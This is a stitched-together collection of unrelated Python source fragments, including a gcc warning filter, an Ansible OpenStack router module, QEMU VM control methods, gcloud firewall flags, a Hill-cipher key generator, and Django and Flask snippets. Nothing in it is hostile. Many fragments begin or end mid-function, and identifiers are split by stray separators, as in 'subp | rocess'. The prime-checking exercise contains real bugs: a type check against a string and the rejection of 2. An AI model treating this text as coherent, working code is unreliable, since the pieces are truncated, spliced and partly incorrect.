for mapLineDatas in p_mixPreloadDatas :
nDataColumnIndex = 0
if self.IsEmptyLine(mapLineDatas) :
nPreloadDataSize -= 1
continue
if nPreloadDataSize > 1 :
strContent += '\n{0}array('.format(self.GenerateIdentIdentifier(p_mapGenerateControl['level_index'] + 1, p_mapGenerateControl['ident']))
for nColumnIndex in p_mapDataSheetConfigs :
if not xExportHelper.IsDataSheetColumnLanguageAvailable(p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_LANGUAGE_CODE], self.Config, p_mapExportConfigs) :
continue
if not xExportHelper.IsDataSheetColumnExportTypeAvailable(p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_EXPORT_IDENTIFIER], self.Config, p_mapExportConfigs) :
continue
# if p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_AUTO_INCREMENT_IDENTIFIER] is not None :
# continue
strCellValue = ''
strFieldName = xExportHelper.GetFieldNameAsI18N(p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_FIELD], p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_LANGUAGE_CODE], self.Config, p_mapExportConfigs)
if mapLineDatas[strFieldName] is None :
if p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_DEFAULT_VALUE] is not None :
strCellValue = '{0}'.format(p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_DEFAULT_VALUE])
else :
if xConstantData.MYSQL_DATA_DEFINITIONS[p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_DATA_TYPE].upper()]['IS_STRING'] :
strCellValue = ''
else :
strCellValue = '0'
else :
strCellValue = '{0}'.format(mapLineDatas[strFieldName])
strCellValue = strCellValue.replace('\'', '\\\\\'')
if nDataColumnIndex > 0 :
strContent += ' '
if xConstantData.MYSQL_DATA_DEFINITIONS[p_mapDataSheetConfigs[nColumnIndex][xConstantData.DATA_SHEET_ROW_DATA_TYPE].upper()]['IS_STRING'] :
strContent += '\'{0}\' => \'{1}\','.format(strFieldName, strCellValue)
else :
strContent += '\'{0}\' => {1},'.format(strFieldName, strCellValue)
nDataColumnIndex += 1
if nPreloadDataSize > 1 :
strContent += '),'
return strContent
|
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2011-2012, The Linux Foundation. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of The Linux Foundation nor
# the names of its contributors may be used to endorse or promote
# products derived from this software without specific prior written
# permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# Invoke gcc, looking for warnings, and causing a failure if there are
# non-whitelisted warnings.
import errno
import re
import os
import sys
import subprocess
# Note that gcc uses unicode, which may depend on the locale. TODO:
# force LANG to be set to en_US.UTF-8 to get consistent warnings.
allowed_warnings = set([
"alignment.c:327",
"inet_hashtables.h:356",
"mmu.c:602",
"return_address.c:62",
"swab.h:49",
"SemaLambda.cpp:946",
"CGObjCGNU.cpp:1414",
"BugReporter.h:146",
"RegionStore.cpp:1904",
"SymbolManager.cpp:484",
"RewriteObjCFoundationAPI.cpp:737",
"RewriteObjCFoundationAPI.cpp:696",
"CommentParser.cpp:394",
"CommentParser.cpp:391",
"CommentParser.cpp:356",
"LegalizeDAG.cpp:3646",
"IRBuilder.h:844",
"DataLayout.cpp:193",
"transport.c:653",
"xt_socket.c:307",
"xt_socket.c:161",
"inet_hashtables.h:356",
"xc4000.c:1049",
"xc4000.c:1063",
])
# Capture the name of the object file, can find it.
ofile = None
warning_re = re.compile(r'''(.*/|)([^/]+\.[a-z]+:\d+):(\d+:)? warning:''')
def interpret_warning(line):
"""Decode the message from gcc. The messages we care about have a filename, and a warning"""
line = line.rstrip('\n')
m = warning_re.match(line)
if m and m.group(2) not in allowed_warnings:
print "error, forbidden warning:", m.group(2)
# If there is a warning, remove any object if it exists.
if ofile:
try:
os.remove(ofile)
except OSError:
pass
sys.exit(1)
def run_gcc():
args = sys.argv[1:]
# Look for -o
try:
i = args.index('-o')
global ofile
ofile = args[i+1]
except (ValueError, IndexError):
pass
compiler = sys.argv[0]
try:
proc = subp | rocess.Popen(args, stderr=subprocess.PIPE)
for line in proc.stderr:
print line,
interpret_warning(line)
result = proc.wait()
except OSError as e:
result = e.errno
if result == errno.ENOENT:
print args[0] + ':',e.strerror
print 'Is your PATH set correctly?'
else:
print ' '.join(args), str(e) |
return result
if __name__ == '__main__':
status = run_gcc()
sys.exit(status)
|
# Copyright 2013 The Servo Project Developers. See the COPYRIGHT
# file at the top-level directory of this distribution. |
#
# Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
# http://www | .apache.org/licenses/LICENSE-2.0> or the MIT license
# <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
# option. This file may not be copied, modified, or distributed
# except according to those terms.
# These licenses are valid for use in Servo
licenses = [
"""\
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
""",
"""\
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
""",
"""\
// This Source Code Form is subject to the terms of the Mozilla Public
// License, v. 2.0. If a copy of the MPL was not distributed with this
// file, You can obtain one at http://mozilla.org/MPL/2.0/.
""",
"""\
// Copyright 2013 The Servo Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.
""",
"""\
# Copyright 2013 The Servo Project Developers. See the COPYRIGHT
# file at the top-level directory of this distribution.
#
# Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
# http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
# <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
# option. This file may not be copied, modified, or distributed
# except according to those terms.
""",
]
|
from . import db
from .assoc import section_professor
class Professor(db.Model):
__tablename__ = 'professors'
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('users.id'), unique=True)
first_name = db.Column(db.Text, nullable=False)
last_name = db.Column(db.Text)
university_id = db.Column(db.Integer, db.ForeignKey('universities.id'), nullable=False)
university = db.relationship('University', back_populates='professors')
sections = db.relationship('Section', secondary=section_professor, back_populates='professors')
evaluations = db.relationship('Evaluation', back_populates='professor')
__mapper_args__ = {
'polymorphic_identity': 'p',
}
def to_ | dict(self):
return {
'id': self.id,
'first_name': self.first_name,
'last_name | ': self.last_name
}
|
esent
name: router1
network: ext_network1
external_fixed_ips:
- subnet: public-subnet
ip: 172.24.4.2
- subnet: ipv6-public-subnet
ip: 2001:db8::3
# Delete router1
- os_router:
cloud: mycloud
state: absent
name: router1
'''
RETURN = '''
router:
description: Dictionary describing the router.
returned: On success when I(state) is 'present'
type: dictionary
contains:
id:
description: Router ID.
type: string
sample: "474acfe5-be34-494c-b339-50f06aa143e4"
name:
description: Router name.
type: string
sample: "router1"
admin_state_up:
description: Administrative state of the router.
type: boolean
sample: true
status:
description: The router status.
type: string
sample: "ACTIVE"
tenant_id:
description: The tenant ID.
type: string
sample: "861174b82b43463c9edc5202aadc60ef"
external_gateway_info:
description: The external gateway parameters.
type: dictionary
sample: {
"enable_snat": true,
"external_fixed_ips": [
{
"ip_address": "10.6.6.99",
"subnet_id": "4272cb52-a456-4c20-8f3c-c26024ecfa81"
}
]
}
routes:
description: The extra routes configuration for L3 router.
type: list
'''
def _needs_update(cloud, module, router, network, internal_subnet_ids):
"""Decide if the given router needs an update.
"""
if router['admin_state_up'] != module.params['admin_state_up']:
return True
if router['external_gateway_info']:
if router['external_gateway_info'].get('enable_snat', True) != module.params['enable_snat']:
return True
if network:
if not router['external_gateway_info']:
return True
elif router['external_gateway_info']['network_id'] != network['id']:
return True
# check external interfaces
if module.params['external_fixed_ips']:
for new_iface in module.params['external_fixed_ips']:
subnet = cloud.get_subnet(new_iface['subnet'])
exists = False
# compare the requested interface with existing, looking for an existing match
for existing_iface in router['external_gateway_info']['external_fixed_ips']:
if existing_iface['subnet_id'] == subnet['id']:
if 'ip' in new_iface:
if existing_iface['ip_address'] == new_iface['ip']:
# both subnet id and ip address match
exists = True
break
else:
# only the subnet was given, so ip doesn't matter
exists = True
break
# this interface isn't present on the existing router
if not exists:
return True
# check internal interfaces
if module.params['interfaces']:
existing_subnet_ids = []
for port in cloud.list_router_interfaces(router, 'internal'):
if 'fixed_ips' in port:
for fixed_ip in port['fixed_ips']:
existing_subnet_ids.append(fixed_ip['subnet_id'])
if set(internal_subnet_ids) != set(existing_subnet_ids):
return True
return False
def _system_state_change(cloud, module, router, network, internal_ids):
"""Check if the system state would be changed."""
state = module.params['state']
if state == 'absent' and router:
return True
if state == 'present':
if not router:
return True
return _needs_update(cloud, module, router, network, internal_ids)
return False
def _build_kwargs(cloud, module, router, network):
kwargs = {
'admin_state_up': module.params['admin_state_up'],
}
if router:
kwargs['name_or_id'] = router['id']
else:
kwargs['name'] = module.params['name']
if network:
kwargs['ext_gateway_net_id'] = network['id']
# can't send enable_snat unless we have a network
kwargs['enable_snat'] = module.params['enable_snat']
if module.params['external_fixed_ips']:
kwargs['ext_fixed_ips'] = []
for iface in module.params['external_fixed_ips']:
subnet = cloud.get_subnet(iface['subnet'])
d = {'subnet_id': subnet['id']}
if 'ip' in iface:
d['ip_address'] = iface['ip']
kwargs['ext_fixed_ips'].append(d)
return kwargs
def _validate_subnets(module, cloud):
external_subnet_ids = []
internal_subnet_ids = []
if module.params['external_fixed_ips']:
for iface in module.params['external_fixed_ips']:
subnet = cloud.get_subnet(iface['subnet'])
if not subnet:
module.fail_json(msg='subnet %s not found' % iface['subnet'])
external_subnet_ids.append(subnet['id'])
if module.params['interfaces']:
for iface in module.params['interfaces']:
subnet = cloud.get_subnet(iface)
if not subnet:
module.fail_json(msg='subnet %s not found' % iface)
internal_subnet_ids.append(subnet['id'])
return (external_subnet_ids, internal_subnet_ids)
def main():
argument_spec = openstack_full_argument_spec(
state=dict(default='present', choices=['absent', 'present']),
name=dict(required=True),
admin_state_up=dict(type='bool', default=True),
enable_snat=dict(type='bool', default=True),
network=dict(default=None),
interfaces=dict(type='list', default=None),
external_fixed_ips=dict(type='list', default=None),
)
module_kwargs = openstack_module_kwargs()
module = AnsibleModule(argument_spec,
supports_check_mode=True,
**module_kwargs)
if not HAS_SHADE:
module.fail_json(msg='shade is required for this module')
state = module.params['state']
name = module.params['name']
network = module.params['network']
if module.params['external_fixed_ips'] and not network:
module.fail_json(msg='network is required when supplying external_fixed_ips')
try:
cloud = shade.openstack_cloud(** | module.params)
router = cloud.get_router(name)
net = None
if network:
net = cloud.get_network(network)
if not net:
module.fail_json(msg='network %s not found' % network)
# Validate and cache the subnet IDs so we can avoid duplicate checks
# and expensive API calls.
external_ids, internal_ids = _validate_subnets(module, cloud)
if module.check_mode:
module.exit_json(
changed=_sy | stem_state_change(cloud, module, router, net, internal_ids)
)
if state == 'present':
changed = False
if not router:
kwargs = _build_kwargs(cloud, module, router, net)
router = cloud.create_router(**kwargs)
for internal_subnet_id in internal_ids:
cloud.add_router_interface(router, subnet_id=internal_subnet_id)
changed = True
else:
if _needs_update(cloud, module, router, net, internal_ids):
kwargs = _build_kwargs(cloud, module, router, net)
router = cloud.update_router(**kwargs)
# On a router update, if any internal interfaces were supplied,
# just detach all existing internal interfaces and attach the new.
if internal_ids:
ports = cloud.list_router_interfaces(router, 'internal')
for port in ports:
|
# -*- coding: utf-8 -*-
# Copyright 2010-2011 OpenStack Foundation
# Copyright (c) 2013 Hewlett-Packard Development Company, L.P.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""Base TestCase for all cratonclient tests."""
import mock
import six
import sys
from oslotest import base
from cratonclient.shell import main
class TestCase(base.BaseTestCase):
"""Test case base class for all unit tests."""
class ShellTestCase(base.BaseTestCase):
"""Test case base class for all shell unit tests."""
def shell(self, arg_str, exitcodes=(0,)):
"""Main function for exercising the craton shell."""
with mock.patch('sys.stdout', new=six.StringIO()) as mock_stdout, \
mock.patch('sys.stderr', new=six.StringIO()) as mock_stderr:
try:
main_shell = main.CratonShell()
main_shell.main(arg_str. | split())
except SystemExit:
| exc_type, exc_value, exc_traceback = sys.exc_info()
self.assertIn(exc_value.code, exitcodes)
return (mock_stdout.getvalue(), mock_stderr.getvalue())
|
# -*- coding: utf-8 -*-
"""
Написать функцию is_prime, принимающую 1 аргумент: число от 0 до 1000.
Если число простое, то функция возвращает True, а в противном случае - False.
"""
prime_1000 = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, | 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 85 | 7, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]
def is_prime(num):
if type(num) is "int":
raise TypeError("argument is not integer")
if num <= 0 or num > 1000:
raise ValueError("argument value out of bounds")
if num % 2 == 0:
return False
mass = prime_1000
i1 = 0
i2 = len(mass) - 1
while i1 < i2:
if num == mass[i1] or num == mass[i2]:
return True
mid = i2 - int(round((i2 - i1) / 2))
if num < mass[mid]:
i2 = mid - 1
elif num > mass[mid]:
i1 = mid + 1
else:
return True
return False
# -----------------------------------------------------------------------------
if __name__ == "__main__":
print is_prime(222)
|
"""
Clone server Model Six
"""
import random
import time
import zmq
from clone import Clone
SUBTREE = "/client/"
def main():
# Create and connect clone
clone = Clone()
clone.subtree = SUBTREE
clone.connect("tcp://localhost", 5556)
clone.connect("tcp://localhost", 5566)
try:
while True:
# Distribute as ke | y-value message
key = "%d" % random.randint(1,10000)
value = "%d" % random.randint(1,1000000)
clone.set(key, value, random.randint(0,30))
time.sleep(1)
except KeyboardInterrupt:
pass
if __name__ == '__main__':
main() | |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from dja | ngo.db import models, migrations
class Migration(migrat | ions.Migration):
dependencies = [
('zeltlager_registration', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='jugendgruppe',
name='address',
),
migrations.DeleteModel(
name='Jugendgruppe',
),
migrations.RemoveField(
model_name='zeltlagerdurchgang',
name='address',
),
migrations.RemoveField(
model_name='zeltlagerdurchgang',
name='description',
),
]
|
# Base class defines VM must be off after a save
self.monitor.cmd("system_reset")
self.verify_status('paused') # Throws exception if not
def restore_from_file(self, path):
"""
Override BaseVM restore_from_file method
"""
self.verify_status('paused') # Throws exception if not
logging.debug("Restoring VM %s from %s" % (self.name, path))
# Rely on create() in incoming migration mode to do the 'right thing'
self.create(name=self.name, params=self.params, root_dir=self.root_dir,
timeout=self.MIGRATE_TIMEOUT, migration_mode="exec",
migration_exec_cmd="cat " + path, mac_source=self)
self.verify_status('running') # Throws exception if not
def savevm(self, tag_name):
"""
Override BaseVM savevm method
"""
self.verify_status('paused') # Throws exception if not
logging.debug("Saving VM %s to %s" % (self.name, tag_name))
self.monitor.send_args_cmd("savevm id=%s" % tag_name)
self.monitor.cmd("system_reset")
self.verify_status('paused') # Throws exception if not
def loadvm(self, tag_name):
"""
Override BaseVM loadvm method
"""
self.verify_status('paused') # Throws exception if not
logging.debug("Loading VM %s from %s" % (self.name, tag_name))
self.monitor.send_args_cmd("loadvm id=%s" % tag_name)
self.verify_status('paused') # Throws exception if not
def pause(self):
"""
Pause the VM operation.
"""
self.monitor.cmd("stop")
def resume(self):
"""
Resume the VM operation in case it's stopped.
"""
self.monitor.cmd("cont")
def set_link(self, netdev_name, up):
"""
Set link up/down.
:param name: Link name
:param up: Bool value, True=set up this link, False=Set down this link
"""
self.monitor.set_link(netdev_name, up)
def get_block_old(self, blocks_info, p_dict={}):
"""
Get specified block device from monitor's info block command.
The block device is defined by parameter in p_dict.
:param p_dict: Dictionary that contains parameters and its value used
to define specified block device.
@blocks_info: the results of monitor command 'info block'
:return: Matched block device name, None when not find any device.
"""
if isinstance(blocks_info, str):
for block in blocks_info.splitlines():
match = True
for key, value in p_dict.iteritems():
if value is True:
check_str = "%s=1" % key
elif value is False:
check_str = "%s=0" % key
else:
check_str = "%s=%s" % (key, value)
if check_str not in block:
match = False
break
if match:
return block.split(":")[0]
else:
for block in blocks_info:
match = True
for key, value in p_dict.iteritems():
if isinstance(value, bool):
check_str = "u'%s': %s" % (key, value)
else:
check_str = "u'%s': u'%s'" % (key, value)
if check_str not in str(block):
match = False
break
if match:
return block['device']
return None
def process_info_block(self, blocks_info):
"""
process the info block, so that can deal with
the new and old qemu formart.
:param blocks_info: the output of qemu command
'info block'
"""
block_list = []
block_entry = []
for block in blocks_info.splitlines():
if block:
block_entry.append(block.strip())
else:
block_list.append(' '.join(block_entry))
block_entry = []
# don't forget the last one
block_list.append(' '.join(block_entry))
return block_list
def get_block(self, p_dict={}):
"""
Get specified block device from monitor's info block command.
The block device is defined by parameter in p_dict.
:param p_dict: Dictionary that contains parameters and its value used
to define specified block device.
:return: Matched block device name, None when not find any device.
"""
blocks_info = self.monitor.info("block")
block = self.get_block_old(blocks_info, p_dict)
if block:
return block
block_list = self.process_info_block(blocks_info)
for block in block_list:
for key, value in p_dict.iteritems():
# for new qemu we just deal with key = [removable,
# file,backing_file], for other types key, we should
# fixup later
logging.info("block = %s" % block)
if key == 'removable':
if value is False:
if not 'Removable device' in block:
return block.split(":")[0]
elif value is True:
if 'Removable device' in block:
return block.split(":")[0]
# file in key means both file and backing_file
if ('file' in key) and (value in block):
return block.split(":")[0]
| return None
def check_block_locked(self, value):
"""
Check whether specified block device is locked or not.
Return True, if device is locked, else False.
:param vm: VM object
:param value: Parameter that can specify block device.
Can be any possible identification of a device,
Such as device name/image file name/...
:return: True if device is locked, False if devic | e is unlocked.
"""
assert value, "Device identification not specified"
blocks_info = self.monitor.info("block")
assert value in str(blocks_info), \
"Device %s not listed in monitor's output" % value
if isinstance(blocks_info, str):
lock_str = "locked=1"
lock_str_new = "locked"
no_lock_str = "not locked"
for block in blocks_info.splitlines():
if (value in block) and (lock_str in block):
return True
# deal with new qemu
block_list = self.process_info_block(blocks_info)
for block_new in block_list:
if (value in block_new) and ("Removable device" in block_new):
if no_lock_str in block_new:
return False
elif lock_str_new in block_new:
return True
else:
for block in blocks_info:
if value in str(block):
return block['locked']
return False
def live_snapshot(self, base_file, snapshot_file,
snapshot_format="qcow2"):
"""
Take a live disk snapshot.
:param base_file: base file name
:param snapshot_file: snapshot file name
:param snapshot_format: snapshot file format
:return: File name of disk snapshot.
"""
device = self.get_block({"file": base_file})
output = self.monitor.live_snapshot(device, snapshot_file,
snapshot_format)
logging.debug(output)
device = self.get_block({"file": snapshot_file})
if device:
current_file = device
else:
current_file = None
return current_file
def block_stream(self, device, speed, base=None, correct=True):
"""
start to stream block d |
# Copyright 2014 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Common classes and functions for firewall rules."""
import re
from googlecloudsdk.calliope import arg_parsers
from googlecloudsdk.calliope import exceptions as calliope_exceptions
ALLOWED_METAVAR = 'PROTOCOL[:PORT[-PORT]]'
LEGAL_SPECS = re.compile(
r"""
(?P<protocol>[a-zA-Z0-9+.-]+) # The protocol group.
(:(?P<ports>\d+(-\d+)?))? # The optional ports group.
# May specify a range.
$ # End of input marker.
""",
re.VERBOSE)
def AddCommonArgs(parser, for_update=False):
"""Adds common arguments for firewall create or update subcommands."""
min_length = 0 if for_update else 1
switch = [] if min_length == 0 else None
allow = parser.add_argument(
'--allow',
metavar=ALLOWED_METAVAR,
type=arg_parsers.ArgList(min_length=min_length),
action=arg_parsers.FloatingListValuesCatcher(switch_value=switch),
help='The list of IP protocols and ports which will be allowed.',
required=not for_update)
allow.detailed_help = """\
A list of protocols and ports whose traffic will be allowed.
PROTOCOL is the IP protocol whose traffic will be allowed.
PROTOCOL can be either the name of a well-known protocol
(e.g., tcp or icmp) or the IP protocol number.
A list of IP protocols can be found at
link:http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml[].
A port or port range can be specified after PROTOCOL to
allow traffic through specific ports. If no port or port range
is specified, connections through all ranges are allowed. For
example, the following will create a rule that allows TCP traffic
through port 80 and allows ICMP traffic:
$ {command} MY-RULE --allow tcp:80 icmp
TCP and UDP rules must include a port or port range.
"""
if for_update:
allow.detailed_help += """
Setting this will override the current values.
"""
parser.add_argument(
'--description',
help='A textual description for the firewall rule.{0}'.format(
' Set to an empty string to clear existing.' if for_update else ''))
source_ranges = parser.add_argument(
'--source-ranges',
default=None if for_update else [],
metavar='CIDR_RANGE',
type=arg_parsers.ArgList(min_length=min_length),
action=arg_parsers.FloatingListValuesCatcher(switch_value=switch),
help=('A list of IP address blocks that may make inbound connections '
'in CIDR format.'))
source_ranges.detailed_help = """\
A list of IP address blocks that are allowed to make inbound
connections that match the firewall rule to the instances on
the network. The IP address blocks must be specified in CIDR
format:
link:http://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing[].
"""
if for_update:
source_ranges.detailed_help += """
Setting this will override the existing source ranges for the firewall.
The following will clear the existing source ranges:
$ {command} MY-RULE --source-ranges
"""
else:
source_ranges.detailed_help += """
If neither --source-ranges nor --source-tags is provided, then this
flag will default to 0.0.0.0/0, allowing all sources. Multiple IP
address blocks can be specified if they are separated by spaces.
"""
source_tags = parser.add_argument(
'--source-tags',
default=None if for_update else [],
metavar='TAG',
type=arg_parsers.ArgList(min_length=min_length),
action=arg_parsers.FloatingListValuesCatcher(switch_value=switch),
help=('A list of instance tags indicating the set of instances on the '
'network which may make network connections that match the '
'firewall rule.'))
source_tags.detailed_help = """\
A list of instance tags indicating the set of instances on the
network which may make network connections that match the
firewall rule. If omitted, all instances on the network can
make connections that match the rule.
Tags can be assigned to instances during instance creation.
"""
if for_update:
source_tags.detailed_help += """
Setting this will override the existing source tags for the firewall.
The following will clear the existing source tags:
$ {command} MY-RULE --source-tags
"""
target_tags = parser.add_argument(
'--target-tags',
default=None if for_update else [],
metavar='TAG',
type=arg_parsers.ArgList(min_length=min_length),
action=arg_parsers.FloatingListValuesCatcher(switch_value=switch),
help=('A list of instance tags indicating the set of instances on the '
'network which may make accept inbound connections that match '
'the firewall rule.'))
target_tags.detailed_help = """\
A list of instance tags indicating the set of instances on the
network which may make accept inbound connections that match the
firewall rule. If omitted, all instances on the network can
receive inbound connections that match the rule.
Tags can be assigned to instances during instance creation.
"""
if for_update:
target_tags.detailed_help += """
Setting this will override the existing target tags for the firewall.
The following will clear the existing target tags:
| $ {command} MY-RULE --target-tags
"""
parser.add_argument(
'name',
help='The name of the firewall rule to {0}'.format(
'update.' if for_update else 'create.'))
def ParseAllowed(allowed, message_classes):
"""Parses protocol:port mappings from --allow command line."""
allowed_value_list = []
for spec in allowed or []:
match = LEGAL_SPECS.match(spec)
if not match:
raise calliope_exceptions.ToolException(
| 'Firewall rules must be of the form {0}; received [{1}].'
.format(ALLOWED_METAVAR, spec))
if match.group('ports'):
ports = [match.group('ports')]
else:
ports = []
allowed_value_list.append(message_classes.Firewall.AllowedValueListEntry(
IPProtocol=match.group('protocol'),
ports=ports))
return allowed_value_list
|
#!/usr/bin/env python3
import random
import numpy as np
import sympy
mod_space = 29
'''
Generate Encryption Key
'''
# In --> size of matrix (n x n)
# Out --> List of lists [[1,2,3],[4,5,6],[7,8,9]]
def generate_encryption_key(size):
determinant = 0
# Need to make sure encryption key is invertible, IE det(key) != 0
while determinant == 0:
matrix = []
for i in range(size): # Repeat i times based on input size
row = []
for k in range(size):
# Add Random integer from 0 - mod space that we are working in
number = random.randint(0, mod_space)
row.append(number)
matrix.append(row) # Add row to matrix
# Convert list of lists into numpy array, which acts as a matrix
encryption_key = np.array(matrix)
try:
determinant = sympy.Matrix(encryption_key.tolist()).inv_mod(29).det()
except:
pass
# If matrix is invertible, end function and return matrix
#print(determinant)
#determinant = int(np.linalg.det(encryption_key))
return encryption_key
'''
Find Modular Inverse
'''
# In --> number, modspace (default is 29 for our case)
# Out --> modular inverse of number
def modular_inverse(num):
for i in range(mod_space): # Loop through possibile inverses in modspace
if (num * i) % mod_space == 1: # If i is an inverse for the number in modspace, return the number
return i
return False # If inverse does not exist, return False
'''
Generate Decryption Key
'''
# In --> Encryption Key (matri | x for | m)
# Out --> Decryption Key
def generate_decryption_key(encryption_key):
# Take the prod of these 2 vars
key_inv = np.linalg.inv(encryption_key) # Inverse of encryption key
# Determinant of encryption key
det_key = int(np.linalg.det(encryption_key))
#print((key_inv * (det_key) * modular_inverse(det_key)) % 29)
# How to get multiplicative inverse of det(key) % 29
# If key = [[1,2],[3,4]] , det(key) % 29 == 27 and
## inverse(det(key) % 29) == 14
##
##
# How do we get from 27 to 14?
##
# (det_key_mod * x) % 29 = inv --> solve for x
# x == 14 in our example
det_key_mod = int(det_key % 29) # Determinant of encryption key mod 29
# Find modular inverse of above var using function defined above
det_key_mod_inv = int(modular_inverse(det_key_mod))
#print(det_key_mod, det_key_mod_inv)
# Final decryption key for [[1,2],[3,4]] is [[27,1],[16,14]]
# decryption_key = inv(det(key)mod29) * (det(key) * inv(key)) % 29
decryption_key = (key_inv * det_key)
#decryption_key = np.around(decryption_key)
#decryption_key = decryption_key.astype(int)
decryption_key = (det_key_mod_inv * decryption_key) % 29
decryption_key = np.around(decryption_key, 0)
#print(decryption_key)
return decryption_key
def generate_sympy_decryption_key(encryption_key):
encryption_key = sympy.Matrix(encryption_key.tolist())
#key_inverse = encryption_key ** -1
#key_determinant = encryption_key.det()
decryption_key = np.array(encryption_key.inv_mod(29))
#key_determinant_mod = key_determinant % 29
return decryption_key
#x = np.array([[1,2],[3,4]])
# print(x)
#x = generate_encryption_key(4)
#generate_sympy_decryption_key(x)
#print(x)
#res = generate_decryption_key(x)
|
from django.forms import | ModelForm
from bug_reporting.models import Feedback
from CoralNet.forms import FormHelper
class FeedbackForm(ModelForm):
class Meta:
model = Feedback
fields = ('type', 'comment') # Other fields are auto-set
#error_css_class = ...
#required_css_class = ... |
def clean(self):
"""
1. Strip spaces from character fields.
2. Call the parent's clean() to finish up with the default behavior.
"""
data = FormHelper.stripSpacesFromFields(
self.cleaned_data, self.fields)
self.cleaned_data = data
return super(FeedbackForm, self).clean() |
#!/usr/bin/env python
import os
import sys
if __ | name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mobilepolls.settings")
from django.core.management import execute_from_command_line
execu | te_from_command_line(sys.argv)
|
t
# * test on 64 bits XP + VS 2005 (and VS 6 if possible)
# * SDK
# * Assembly
__revision__ = "src/engine/SCons/Tool/MSCommon/vc.py bee7caf9defd6e108fc2998a2520ddb36a967691 2019-12-17 02:07:09 bdeegan"
__doc__ = """Module for Visual C/C++ detection and configuration.
"""
import SCons.compat
import SCons.Util
import subprocess
import os
import platform
import sys
from string import digits as string_digits
if sys.version_info[0] == 2:
import collections
import SCons.Warnings
